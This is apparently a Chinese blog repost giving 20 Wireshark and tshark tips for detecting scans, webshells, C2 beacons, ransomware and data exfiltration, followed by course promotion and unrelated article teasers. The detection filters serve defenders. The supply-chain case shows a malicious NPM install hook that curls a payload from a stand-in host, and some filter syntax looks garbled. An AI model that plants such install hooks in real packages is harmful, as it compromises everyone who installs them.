news 2026/5/6 3:26:02

20个Wireshark在网络安全分析中的实战技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
20个Wireshark在网络安全分析中的实战技巧

20个Wireshark在网络安全分析中的实战技巧

一、基础配置篇
    1. 安全捕获环境搭建
# 创建隔离分析环境 sudo ip linkset eth0 promisc on sudo tcpdump -i eth0 -s 0 -w /mnt/isolated/evidence.pcap
    1. 预置过滤模板
# 高危协议快速过滤 tcp.port in {135,139,445,3389} || udp.port in {53,123,161,500,4500}
    1. 关键字段标记
二、攻击检测篇
    1. 扫描行为识别
# SYN扫描检测 tcp.flags.syn==1and tcp.flags.ack==0and tcp.window_size <=1024
    1. 暴力破解捕获
# SSH爆破特征 tcp.port==22and (tcp.flags.reset==1or tcp.analysis.retransmission)
    1. DNS隐蔽隧道
# 检测长域名请求 dns and frame.len > 256 && !contains(dns.qry.name,".google.")
    1. WebShell通信特征
http.content_type=="application/octet-stream" && http.request.method=="POST" && frame.len >1024
    1. 勒索软件通信
tcp contains "GET /decrypt_instructions" || tls.handshake.extensions_server_name=="lockbit"
三、数据泄露监控
    1. 信用卡外泄检测
frame matches "\\b[3456]\\d{3}[ -]?\\d{4}[ -]?\\d{4}[ -]?\\d{4}\\b"
    1. 数据库拖库行为
mysql.query contains "SELECT" && frame.len >1500 && tcp.srcport==3306
    1. 云凭据泄露
http.request.uri contains "?AccessKeyId=" || tls contains "AKIA"
四、高级威胁狩猎
    1. Cobalt Strike检测
# Beacon心跳包特征 tcp.payload matches "\\x00\\x00\\x00..\\xff\\xff\\xff" && tcp.len between 20and50
    1. Metasploit载荷识别
http contains "Meterpreter" || tcp contains "core_loadlib"
    1. 域渗透横向移动
smb || kerberos && (ip.src==<域控IP>or ip.dst==<域控IP>)
    1. 内存攻击特征
tcp contains "\\x90\\x90\\x90" # NOP sled检测 || http contains ".dll"
五、加密流量分析
    1. TLS指纹识别
# 检测恶意JA3指纹 tls.handshake.ja3 contains "6734f37431670b3ab4292b8f60f29984"
    1. 证书异常检测
tls.handshake.certificate && (x509sat.uTF8String == "Phishing Ltd" || x509ce.dNSName == "freevpn.malicious.ru")
六、应急响应实战
    1. 攻击时间轴重建
tshark -r attack.pcap -T fields -e frame.time -e ip.src -e ip.dst -e tcp.port > timeline.csv
    1. 恶意文件提取
# 从HTTP流量中提取PE文件 tshark -r infection.pcap --export-object http,./malware
    1. 攻击者画像生成
# 提取攻击链关键信息 echo"=== C2服务器 ===" tshark -r c2.pcap -Y "dns" -T fields -e dns.qry.name echo"=== 用户代理 ===" tshark -r c2.pcap -Y "http.user_agent" -T fields -e http.user_agent
七、法律合规要点
tcprewrite --infile=raw.pcap --outfile=anon.pcap --dstipmap=192.168.1.0/24:10.0.0.0/24
八、真实攻击案例分析

案例1:供应链攻击溯源

    1. 捕获异常NPM包更新请求:
HTTP/1.1200 OK Content-Type: application/json {"version":"1.2.3","scripts":{"install":"curl http://mal-registry.com/payload.sh"}}
    1. 追踪关联IP:
tshark -r breach.pcap -Y "ip.addr==203.0.113.5" -z conv,ip

案例2:金融木马通信解密

    1. 提取恶意DLL中的RC4密钥
    1. Wireshark配置协议解密:
Protocols -> TLS -> (Pre)-Master-Secret log: /path/to/keys.log
九、高阶技巧拓展
capinfos -Tm -r baseline.pcap > baseline_profile.txt
tshark -r traffic.pcap -Y "frame.comment contains 'ET PHISHING'"
dissector_add_uint("tcp.port", 502, modbus_handle);
十、重要提醒
    1. 三层验证原则:流量特征+行为模式+外部情报
    1. 避免分析陷阱
    1. 持续更新知识库

某次金融攻防演练中,攻击者使用域前置技术隐藏C2通信。防守方通过Wireshark发现异常:

HTTP/2200 OK :authority: legit-cdn.com x-amz-cf-pop: SIN2-C1 # 新加坡节点

但TLS证书却显示:

x509ce.dNSName: c2-malicious.tk

正是这0.5秒的协议解析差异,阻止了千万级资金损失


附:分析师必备过滤库

# 内网横向移动检测 smb || ldap || winrm || wmi # 加密挖矿特征 tcp contains "stratum+tcp" || http contains "xmr" # 钓鱼页面识别 http contains "login" && http contains "password" && !(http.host contains "corp")

当0day攻击发生时,EDR可能沉默、防火墙可能失效,但流过网卡的数据包永远是最诚实的证人。掌握这20项核心技能,意味着你拥有了穿透网络迷雾的终极武器。

资料分享

最后,给大家分享一波网络安全学习资料:

我们作为一个小白想转行网络安全岗位,或者是有一定基础想进一步深化学习,却发现不知从何下手。其实如何选择网络安全学习方向,如何进行实战与理论的结合并不难,找准正确方式很重要。

网络安全学习路线&学习资源


接下来我将从成长路线开始一步步带大家揭开网安的神秘面纱。

1.成长路线图

共可以分为:

一、基础阶段

二、渗透阶段

三、安全管理

四、提升阶段

同时每个成长路线对应的板块都有配套的视频提供:

视频配套资料&国内外网安书籍、文档

网络安全面试题

最后就是大家最关心的网络安全面试题板块

所有资料共87.9G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方CSDN官方合作二维码免费领取(如遇扫码问题,可以在评论区留言领取哦)~

网络安全学习路线&学习资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 7:52:32

无需编程基础!IndexTTS 2.0图形化操作界面快速上手教程

无需编程基础&#xff01;IndexTTS 2.0图形化操作界面快速上手教程 在短视频、虚拟主播和有声内容爆发的今天&#xff0c;一个越来越常见的问题是&#xff1a;为什么我的配音总是对不上画面节奏&#xff1f; 或者&#xff0c;“我明明录好了台词&#xff0c;可生成的声音听起来…

作者头像 李华
网站建设 2026/4/28 23:13:48

精通B站视频下载实战:BilibiliDown高效批量下载技巧

还在为无法批量保存B站优质内容而困扰&#xff1f;BilibiliDown作为跨平台GUI工具&#xff0c;支持B站多种视频格式直接下载&#xff0c;避免二次转码质量损失&#xff0c;让你轻松构建个人视频资源库。 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器…

作者头像 李华